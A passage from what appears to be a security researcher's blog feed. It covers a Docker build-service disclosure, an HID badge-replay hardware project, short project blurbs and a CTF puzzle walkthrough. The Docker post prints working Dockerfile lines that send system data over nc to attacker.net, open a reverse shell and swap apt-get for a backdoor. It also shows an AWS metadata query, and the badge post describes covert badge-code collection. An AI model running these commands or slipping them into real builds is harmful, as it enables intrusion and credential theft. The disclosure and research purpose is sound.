</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> <span style="color:#f92672">(</span>echo <span style="color:#e6db74">&#34;== ID ==&#34;</span>; id<span style="color:#f92672">)</span> | nc $POC_HOST $POC_PORT<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> <span style="color:#f92672">(</span>echo <span style="color:#e6db74">&#34;== IP ==&#34;</span>; ip a<span style="color:#f92672">)</span> | nc $POC_HOST $POC_PORT<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> <span style="color:#f92672">(</span>echo <span style="color:#e6db74">&#34;== DMESG ==&#34;</span>; dmesg<span style="color:#f92672">)</span> | nc $POC_HOST $POC_PORT<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> nc $POC_HOST $POC_PORT -e /bin/sh<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">CMD</span> sh<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>This <code>Dockerfile</code> sends our server located at <code>attacker.net</code> the output of <code>uname</code>, <code>id</code>, <code>ip a</code>, <code>dmesg</code>, and finally, a reverse shell.</p>
<h2 id="local-builds">Local Builds</h2>
<p>In order to test this, build this local image, replacing <code>attacker.net</code> with your own domain. And have a shell listener on port <code>1337</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>docker build .
</span></span></code></pre></div><p><img alt="Belcher Kids Ambergris" loading="lazy" src="/posts/ambergris/images/Belchers.webp"></p>
<p>Even though the user runs the reverse shell as root, it is not a fully privileged root. You are running as root inside a Docker container. You have <code>uid=0, gid=0</code>, but some system level privileges may not be present like <code>NET_ADMIN</code> preventing you from putting the network interface into promiscuous mode. Additionally you will have a virtual network adapter behind a virtual NAT on the host and a different root file-system.</p>
<p>Alternatively the image can be built locally from a remote source such as GitHub!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>docker build github.com/lanrat/ambergris
</span></span></code></pre></div><p>This will have the same effect as the local <code>Dockerfile</code> above. However, in this scenario the <code>Dockerfile</code> containing the reverse shell is not saved on the image building system allowing the user to see what commands they are running. This can be just as dangerous as <a href="https://www.seancassidy.me/dont-pipe-to-your-shell.html">pipe to sh</a>.</p>
<p><img alt="Holding Ambergris" loading="lazy" src="/posts/ambergris/images/Holding-Ambergris.webp"></p>
<h2 id="remote-builds">Remote Builds</h2>
<h3 id="docker-hub-1">Docker Hub</h3>
<p><img alt="Docker Hub Ambergris Screenshot" loading="lazy" src="/posts/ambergris/images/docker-hub-ambergris.webp"></p>
<p>What if we send our &ldquo;backdoored&rdquo; <code>Dockerfile</code> to the Docker Hub to be built? Well, not surprisingly it is built! And as part of the building process the reverse shell is run!</p>
<p><img alt="Docker Hub reverse shell" loading="lazy" src="/posts/ambergris/images/docker-hub-rshell.webp"></p>
<p>The Docker Hub is not the only cloud image building service in town, <a href="https://quay.io">QUAY</a> is another, let&rsquo;s test it!</p>
<p><img alt="quay.io build" loading="lazy" src="/posts/ambergris/images/quay-ambergris-1.webp"></p>
<p><img alt="quay.io reverse shell" loading="lazy" src="/posts/ambergris/images/quay-rshell.webp"></p>
<p>Another shell!</p>
<h3 id="build-environment">Build Environment</h3>
<p>Both Docker Hub and QUAY run on AWS. So the shells we get are inside a Docker container on an AWS instance.</p>
<h4 id="docker-hub-2">Docker Hub</h4>
<ul>
<li>Hardware
<ul>
<li>2.50GHz Intel Xeon CPU</li>
<li>4GB Ram</li>
<li>40GB HD space</li>
</ul>
</li>
<li>Can read host dmesg
<ul>
<li>kernel stack traces of host</li>
<li>Apparmor rules</li>
<li>networking information</li>
<li>vpn info</li>
<li>limited information on previous containers built</li>
</ul>
</li>
<li>Limits execution time to 2 hours</li>
</ul>
<h4 id="quay">QUAY</h4>
<ul>
<li>Hardware
<ul>
<li>2.40GHz Intel Xeon CPU x2</li>
<li>4GB Ram</li>
<li>50GB HD space</li>
</ul>
</li>
<li>Can read host dmesg
<ul>
<li>kernel stack traces of host</li>
<li>Apparmor rules</li>
<li>networking information</li>
<li>limited information on previous containers built</li>
</ul>
</li>
<li>Limits execution time to 1 hour
<ul>
<li>automatically runs 3 times!</li>
</ul>
</li>
</ul>
<p>Both the official Docker Hub and QUAY have similar environments and limits on build execution time. Like in a normal Docker container the <code>dmesg</code> command will return information about the host system which <em>may</em> contain sensitive information.</p>
<h2 id="what-can-i-do-with-this-anyways">What can I do with this anyways?</h2>
<p>You basically get a free AWS instance that reboots every 1-2 hours with no persistent storage. But with  a few clever hacks these limitations can be overcome.</p>
<p>Example usages:</p>
<ul>
<li>Mine Bitcoin</li>
<li>Send spam</li>
<li>Botnet</li>
<li>Tor node</li>
<li>Password cracking</li>
<li>Proxy</li>
</ul>
<p><img alt="Mine Bitcoins, Send Spam, Botnet, Tor node, Password Cracking, Proxy" loading="lazy" src="/posts/ambergris/images/ambergris-uses.webp"></p>
<h2 id="obfuscation">Obfuscation</h2>
<p>Even if you view the <code>Dockerfile</code> of an image before you build it, it is still possible to end up with a reverse shell on your system. Examine the following example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> <span style="color:#e6db74">lanrat/base</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> apt-get install myapp<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">CMD</span> myapp<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Looks safe right? Not so fast&hellip;</p>
<p>Suppose the <code>Dockerfile</code> for <code>lanrat/base</code> contained the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> <span style="color:#e6db74">debian</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">ENV</span> POC_HOST attacker.net<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">ENV</span> POC_PORT <span style="color:#ae81ff">1337</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;Please NEVER build this image!&#34;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> echo -e <span style="color:#e6db74">&#39;#!/bin/sh \nnc $POC_HOST $POC_PORT -e /bin/sh&#39;</span> &gt; /usr/bin/apt-get<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> chmod +x /usr/bin/apt-get<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">CMD</span> sh<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>This effectively replaces the apt-get command with a reverse shell. So when the image using <code>lanrat/base</code> is built it calls <code>apt-get</code> thinking it is going to install <code>myapp</code> but it really starts a reverse shell.</p>
<p>This can be taken a step further by having the fake <code>apt-get</code> command pass its arguments to the real <code>apt-get</code> and fork the reverse shell to the background. As the image would appear to be built successfully it may go unnoticed, but every time it is built, or even run, the attacker&rsquo;s code may run.</p>
<h2 id="running-inside-aws">Running Inside AWS</h2>
<p>Both the Docker Hub and Quay use AWS to build the Docker images. This means that the shell you get inside a Dockerfile when building on one of these services is inside the AWS infrastructure.</p>
<p>I found that within this environment Docker containers being build can make requests to the <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html">AWS Instance Metadata API</a>. This API may leak information such as access tokens, usernames/passwords for API/infrastructure and configuration details. The AWS Instance Metadata API is accessible by making HTTP requests to the IP address <code>169.254.169.254</code>. For Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>curl http://169.254.169.254/latest/user-data
</span></span></code></pre></div><p>The Docker hub had very little information accessible from this API but QUAY had a more of their environment&rsquo;s configuration including usernames, keys, and  access tokens accessible.</p>
<h1 id="takeaways">Takeaways</h1>
<ul>
<li>Know where your image comes from</li>
<li>Know where your base image&rsquo;s base image comes from</li>
<li>Understand that <code>docker build</code> is just as dangerous as <code>docker run</code> with untrusted images</li>
<li>Block access to the <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html">AWS Instance Metadata API</a> if you allow users to make HTTP requests from your infrastructure</li>
</ul>
<h1 id="disclosure">Disclosure</h1>
<h2 id="docker-1">Docker</h2>
<ul>
<li>8/29/16 - My initial disclosure</li>
<li>8/29/16 - Response acknowledging potential vulnerability. Informed me that each Docker build is performed on a fresh VM</li>
<li>8/30/16 - AWS Instance Metadata API blocked from within Docker build environment</li>
</ul>
<h2 id="quay-coreos">QUAY (CoreOS)</h2>
<ul>
<li>8/30/16 - My initial disclosure</li>
<li>8/30/16 - Response acknowledging as expected behavior.</li>
<li>8/30/16 - I provided example of data leaking on the AWS Instance Metadata API</li>
<li>8/30/16 - Removed sensitive data from AWS Instance Metadata API</li>
</ul>
<h2 id="bonus-video"><a href="https://www.youtube.com/watch?v=I0ja06B5kfw">Bonus Video</a></h2>
]]></content:encoded></item><item><title>Badgy</title><link>https://lanrat.com/posts/badgy/</link><pubDate>Sat, 24 Dec 2016 06:12:51 +0000</pubDate><guid>https://lanrat.com/posts/badgy/</guid><description>Hardware project interfacing with HID iClass card readers using Wiegand protocol for access control and security research applications.</description><content:encoded><![CDATA[<p>A while ago I came into possession of a few HID iClass readers. After collecting dust in my project drawer for a few months I decided to find a fun use for them, which ended up in the project I call <a href="https://github.com/lanrat/badgy">Badgy</a>.</p>
<h2 id="background">Background</h2>
<p>The back of the HID readers have 10 colored wires coming out of them. Luckily the readers also had a nice sticker telling me which wire was what.</p>
<p><img alt="pins sticker" loading="lazy" src="/posts/badgy/images/pins.webp"></p>
<p>The readers are nice enough to accept a wide range of input voltages to function from 5v - 16v.
The readers speak the <a href="https://en.wikipedia.org/wiki/Wiegand_interface">Wiegand</a> protocol which is a simple and well documented protocol for sending bits over a wire.</p>
<p>Wiegand Overview</p>
<ul>
<li>Two Data lines (data0 &amp; data1)</li>
<li>Default to line high (~5v)</li>
<li>Falling edge represents a single bit</li>
<li>Variable bit length
<ul>
<li>Test badges use 35 bits</li>
</ul>
</li>
<li>Noise can easily add extra bits on the line
<ul>
<li>Use a well insulated wire</li>
</ul>
</li>
<li>Error checking can be implemented at a higher level if desired
<ul>
<li>CRC or parity bit</li>
</ul>
</li>
</ul>
<p><img alt="Wiegand logic bits" loading="lazy" src="/posts/badgy/images/logic.gif"></p>
<p>I started off using an Arduino <a href="https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino">Wiegand</a> library to read raw data from the card to prove the readers worked correctly. This allowed to me investigate the other non-Wiegand and power lines going into the reader. In short, the extra pins allow you to override the LED light color, beeper, and test the infra-red tamper sensor status (more on that later).</p>
<h3 id="card-code-format">Card Code Format</h3>
<p>The test badges I had use the <strong>Corporate 1000</strong> data format. This format is used by most buildings that use the HID access cards. The format specifies parity bits, organization ID, and badge ID.</p>
<p><img alt="Photo of card bits format" loading="lazy" src="/posts/badgy/images/card_format.webp"></p>
<p><img alt="Screenshot for Corporate 1000" loading="lazy" src="/posts/badgy/images/corporate-1000-card-format.webp"></p>
<p>My test badges contain a 35 bit long code. The bit order for each organization can also be randomized for additional <em>security via obscurity</em>. With a large enough sample set of badges, identifying the bits that represent the organization ID can be trivial. (they will be the bits that are the same on all scanned badges for the same organization). The rest are for the individual badge ID and any parity bits used.</p>
<h3 id="encryption">Encryption</h3>
<p>The RFID information going between the physical badge and reader is encrypted, but the reader to the wire inside the wall is plain-text. The encryption keys used for the badge reader can be set by the organization that implements them, however most use the default keys from the factory.</p>
<p><img alt="HID wiring diagram" loading="lazy" src="/posts/badgy/images/hid_chart.webp"></p>
<p>This is not due to security negligence, but for functionality reasons. The badges and readers can only operate on a single key. So if two organizations, A and B, occupy the same building on different floors with a shared elevator system that requires a badge scan to operate, both organizations will need to use the same keys to allow both sets of employees to operate the elevator. Now suppose that organization B has another office somewhere else in the world and employees regularly travel between the offices. They want this office to use the same key to allow their employees to use one badge for all their buildings. If this second location is shared with organization C, then organization C will also need to use the same keys. So now organization C and A will be using the same keys even though they may not share any buildings. This can easily expand to hundreds or more organizations as each organization adds new offices and expands globally.</p>
<p>Cloning a physical badge (beyond the scope of this post) will require the private encryption key. The private key is stored in the HID reader in order to decrypt the response from the badge. <a href="https://events.ccc.de/congress/2010/Fahrplan/attachments/1770_HID-iCLASS-security.pdf">Previous work has already been done to extract this key</a>.</p>
<h2 id="replay">Replay</h2>
<p>Now that the protocol and pins for the HID badge scanner are understood I wanted to see if it would be possible to use a micro-controller to emulate the reader to inject previously scanned badges into the system allowing a potential adversary access to a facility they have a badge code for but lack the physical badge at the time of entry.</p>
<p>The threat model here is the adversary has the ability to get the badge data but is unable to physically get the badge. Perhaps they scanned it while standing next to the victim on a crowded bus or by bumping into them on the street.</p>
<p>For this attack I used the same Arduino I used to read badges in the Background section but modified it so that the Arduino sends a pre-saved badge to whatever it is connected to. I could now send badge codes from one Arduino to another using one Arduino as a badge reader and another as the badge emulator.</p>
<p>The controller Arduino has no way to differentiate between the real HID reader and the Arduino acting as an emulated reader. In theory this will also work with the actual HID controller /access system, but unfortunately I do not have one to test on.</p>
<p>All is not lost, HID as thought of this and added a tamper line to the HID reader to detect someone disconnecting the HID reader, which is located on the outside of the secured perimeter. On the HID readers I tested, the tamper line is connected to an IR sensor located on the back of the reader next to an IR LED. The IR light bounces off a reflective sticker on the back of the mounting plate to detect if the reader is ever removed from the mounting plate.</p>
<p><img alt="Tamper screenshot" loading="lazy" src="/posts/badgy/images/tamper.webp"></p>
<p>However, this only applies to removing the sensor from the wall the way is was designed to be removed. If removed in what will likely be a more destructive way, it would be possible to access the tamper lines without triggering the tamper sensor allowing an adversary to connect into the line injecting their own &ldquo;tamper OK&rdquo; signal while disconnecting the real HID reader and connecting their micro-controller undetected. From here they can replay any collected badge codes or even attempt brute forcing access codes.</p>
<h2 id="building-the-badge-collector">Building the Badge Collector</h2>
<p><img alt="Triptic badgy photos" loading="lazy" src="/posts/badgy/images/triptic.webp"></p>
<p>In order to easily collect as many badge codes as possible I wanted to create a self-contained badge reader. The badge reader should be self-powered, and have the ability to save collected badges to persistent storage on itself and ideally offer a means to transmit them wirelessly to a receiver nearby. I was able to accomplish all this and more with a Raspberry Pi zero and USB battery pack.</p>
<p>The wiring is as simple as connecting the data0 &amp; data1 Wiegand pins to two of the GPIO pins of the Raspberry Pi, and connecting the 5v output of the USB battery pack to the power inputs of both the Pi and HID reader.</p>
<p>The Raspberry Pi runs headless Debian and a program that can be found <a href="https://github.com/lanrat/badgy">on GitHub</a> that listens for incoming badge codes and saves them to a log file on the Pi&rsquo;s SD card.</p>
<h3 id="wireless-data-exfiltration">Wireless Data Exfiltration</h3>
<p>So far this badge collector will work great if hung next to an unsuspecting door. Employees are likely to scan badges to see if they will have access to this newly <em>&ldquo;secured&rdquo;</em> area. But if someone discovers it and removes the reader, what then? Aside from loosing the hardware, all the collected badge access codes are gone. Or are they?</p>
<p>The little known <a href="https://github.com/rm-hull/pifm">PiFm</a> library allows Raspberry Pis to transmit over FM by bit-banging FM over GPIO pin 7. Using this we can convert the log data to audio using <em>espeak</em> and then send it to the FM transmitter provided by PiFm. All we need to do is attach a wire to GPIO Pin 7 to act as the antenna.</p>
<p>With this addition, every time a badge is scanned the data is logged to the Pi&rsquo;s SD card and transmitted over FM where a nearby FM recorded can make a backup of the badge data.</p>
<h2 id="demo">Demo</h2>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/GYZLhhPMKZM?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

]]></content:encoded></item><item><title>CertGraph</title><link>https://lanrat.com/projects/certgraph/</link><pubDate>Tue, 30 Aug 2016 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/certgraph/</guid><description>&lt;p&gt;CertGraph crawls SSL certificates to map domain relationships through certificate alternate names. The tool builds a directed graph where domains are nodes and certificate alternative names create edges between related domains.&lt;/p&gt;
&lt;p&gt;The program performs hostname enumeration by following certificate relationships, revealing domain connections that may not be apparent through traditional DNS enumeration. It outputs data in various formats including graphical representations for network topology analysis.&lt;/p&gt;</description><content:encoded>&lt;p>CertGraph crawls SSL certificates to map domain relationships through certificate alternate names. The tool builds a directed graph where domains are nodes and certificate alternative names create edges between related domains.&lt;/p>
&lt;p>The program performs hostname enumeration by following certificate relationships, revealing domain connections that may not be apparent through traditional DNS enumeration. It outputs data in various formats including graphical representations for network topology analysis.&lt;/p>
</content:encoded></item><item><title>ImageTragick</title><link>https://lanrat.com/projects/imagetragick/</link><pubDate>Tue, 03 May 2016 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/imagetragick/</guid><description>&lt;p&gt;A collection of proof-of-concept exploits demonstrating critical vulnerabilities in ImageMagick (CVE-2016-3714 through CVE-2016-3717). These vulnerabilities allow remote code execution, server-side request forgery, file deletion, and local file disclosure through maliciously crafted image files.&lt;/p&gt;
&lt;p&gt;The project provides test scripts and example payloads to help developers and security researchers understand the attack vectors and implement proper mitigations. The vulnerabilities affect web applications using ImageMagick or related libraries for image processing, making this a significant security concern for many web services.&lt;/p&gt;</description><content:encoded>&lt;p>A collection of proof-of-concept exploits demonstrating critical vulnerabilities in ImageMagick (CVE-2016-3714 through CVE-2016-3717). These vulnerabilities allow remote code execution, server-side request forgery, file deletion, and local file disclosure through maliciously crafted image files.&lt;/p>
&lt;p>The project provides test scripts and example payloads to help developers and security researchers understand the attack vectors and implement proper mitigations. The vulnerabilities affect web applications using ImageMagick or related libraries for image processing, making this a significant security concern for many web services.&lt;/p>
</content:encoded></item><item><title>Solving the Challenge of Tiamat's Eye</title><link>https://lanrat.com/posts/solving-tiamats-eye/</link><pubDate>Sat, 03 Oct 2015 15:58:21 +0000</pubDate><guid>https://lanrat.com/posts/solving-tiamats-eye/</guid><description>CTF challenge walkthrough for solving Tiamat&amp;#39;s Eye puzzle using video analysis and frame extraction to decode LED blinking patterns.</description><content:encoded><![CDATA[<p>Last week at <a href="https://www.derbycon.com/">DerbyCon 5.0</a> the <a href="https://circlecitycon.com/">CircleCityCon</a> folks had a booth with a challenge, the Challenge of Tiamat&rsquo;s Eye.</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr"><a href="https://twitter.com/CircleCityCon?ref_src=twsrc%5Etfw">@CircleCityCon</a>: Can you solve the Puzzle of Tiamat&#39;s Eye?  Visit our booth at <a href="https://twitter.com/DerbyCon?ref_src=twsrc%5Etfw">@DerbyCon</a> to take the challenge!   <a href="http://t.co/yJzPvxOQk9">pic.twitter.com/yJzPvxOQk9</a></p>&mdash; CircleCityCon 10.0: WHODUNIT? (@CircleCityCon) <a href="https://twitter.com/CircleCityCon/status/647770152772182016?ref_src=twsrc%5Etfw">September 26, 2015</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>The challenge consisted of the small chest pictured above containing an eye made up of blinking red LEDs. Every 30 seconds the pattern would reset. The content organizers hinted that we would need to record the eye at 60fps in order to capture all of the information we needed. We ended up using a coffee creamer cup as a diffuser over the LEDs to make the difference in the pixels clearer. This resulted in the following recording. Note: we recorded 30 seconds at 60fps, which resulted in a 60 second 30fps recording.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/QrRM40p96l4?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Next we extracted each frame from the video with the following command: (ffmpeg would have worked as well too)<br>
<code>avconv -i VID_20150926_175956.mp4 -r 30 frames/%5d.webp</code></p>
<p>This resulted in the following 1800 frames.</p>
<p><img alt="frames" loading="lazy" src="/posts/solving-tiamats-eye/images/video-frames-extracted.webp"></p>
<p>After viewing the image thumbnails we observed that the shortest amount of time the LED was either on or off was 3 frames. This means that every 3 frames represents a single bit. Since on some frames the LED was half-light we decided to sample every 3rd frame starting in the middle of each bit to get the best representation.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#! /usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> os
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> PIL <span style="color:#f92672">import</span> Image
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> sys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>    i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># because os.walk is not sorted, and I&#39;m lazy</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># ls frames/* &gt; frames.list</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> open(<span style="color:#e6db74">&#34;frames.list&#34;</span>):
</span></span><span style="display:flex;"><span>        i<span style="color:#f92672">+=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> i <span style="color:#f92672">%</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>            im <span style="color:#f92672">=</span> Image<span style="color:#f92672">.</span>open(l<span style="color:#f92672">.</span>strip())
</span></span><span style="display:flex;"><span>            <span style="color:#75715e"># sample pixel location</span>
</span></span><span style="display:flex;"><span>            r,g,b <span style="color:#f92672">=</span> im<span style="color:#f92672">.</span>getpixel((<span style="color:#ae81ff">1357</span>,<span style="color:#ae81ff">657</span>))
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (r<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">250</span>):
</span></span><span style="display:flex;"><span>                sys<span style="color:#f92672">.</span>stdout<span style="color:#f92672">.</span>write(<span style="color:#e6db74">&#39;1&#39;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                sys<span style="color:#f92672">.</span>stdout<span style="color:#f92672">.</span>write(<span style="color:#e6db74">&#39;0&#39;</span>)
</span></span><span style="display:flex;"><span>    print <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><p>The python script above reads every 3rd frame and prints out a 0 or 1 depending on the LED state. This gave us the following binary string.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0101010101111111111001100110100110100110011100101001110011100111010010011101001001101111100110110010011011111001100011100110000110011101001001100101100111010010011010001001100101100110100010011011111001110101100111001110011001011001101111100110011010011000101001100101100110000110011100101001101010100110010110011100111001110100100110010110011100101001110111100110100110011011101001110011100110000110011001101001110010100110010110011001011001100011100011001110011101001001101001100110001110011010111001100101100111010000000000000000000000000000000000000000000
</span></span></code></pre></div><p>Our first guess was to convert it to ASCII, however that did not return anything intelligible. Another vague hint provided got us thinking it was 10 bit serial data. A quick search on Google led us to <a href="https://en.wikipedia.org/wiki/Asynchronous_serial_communication">Asynchronous Serial Communication</a>, which after removing the first 20 bits for the header, tells us that there is 8 data bits padded by a start and stop bit. Splitting the binary into 10 bit lines and then removing the first and last bit provided us with the following binary.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>01100110
</span></span><span style="display:flex;"><span>01101001
</span></span><span style="display:flex;"><span>01110010
</span></span><span style="display:flex;"><span>01110011
</span></span><span style="display:flex;"><span>01110100
</span></span><span style="display:flex;"><span>01110100
</span></span><span style="display:flex;"><span>01101111
</span></span><span style="display:flex;"><span>01101100
</span></span><span style="display:flex;"><span>01101111
</span></span><span style="display:flex;"><span>01100011
</span></span><span style="display:flex;"><span>01100001
</span></span><span style="display:flex;"><span>01110100
</span></span><span style="display:flex;"><span>01100101
</span></span><span style="display:flex;"><span>01110100
</span></span><span style="display:flex;"><span>01101000
</span></span><span style="display:flex;"><span>01100101
</span></span><span style="display:flex;"><span>01101000
</span></span><span style="display:flex;"><span>01101111
</span></span><span style="display:flex;"><span>01110101
</span></span><span style="display:flex;"><span>01110011
</span></span><span style="display:flex;"><span>01100101
</span></span><span style="display:flex;"><span>01101111
</span></span><span style="display:flex;"><span>01100110
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Converting this to ASCII returns the following text.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>firsttolocatethehouseofbearjesterwinsafreec3ticket
</span></span></code></pre></div><p>After adding a few spaces says:<br>
<code>first to locate the house of bear jester wins a free c3 ticket</code></p>
<p>which was the magic phrase to say to the house of bear to solve the challenge and win CircleCityCon tickets.</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Three worthy adventurers have solved the mystery of the Eye of Tiamat <a href="https://twitter.com/SID_tracker?ref_src=twsrc%5Etfw">@sid_tracker</a> <a href="https://twitter.com/lanrat?ref_src=twsrc%5Etfw">@lanrat</a> @ryatesm Congrats! <a href="http://t.co/O0vMFNiCeb">pic.twitter.com/O0vMFNiCeb</a></p>&mdash; CircleCityCon 10.0: WHODUNIT? (@CircleCityCon) <a href="https://twitter.com/CircleCityCon/status/647949598095474689?ref_src=twsrc%5Etfw">September 27, 2015</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>The puzzle was fun and simple enough to solve in a few hours allowing us to enjoy the rest of DerbyCon. I would like to end by thanking CircleCityCon for creating the challenge and my teammates <a href="https://twitter.com/SID_tracker">@SID_tracker</a> and <a href="https://twitter.com/ryatesm">@ryatesm</a> for assisting me in solving the challenge.</p>
<p>All of the data used can be found in <a href="https://gist.github.com/lanrat/62912c06b0a1eed5adbf">This Gist</a>.</p>
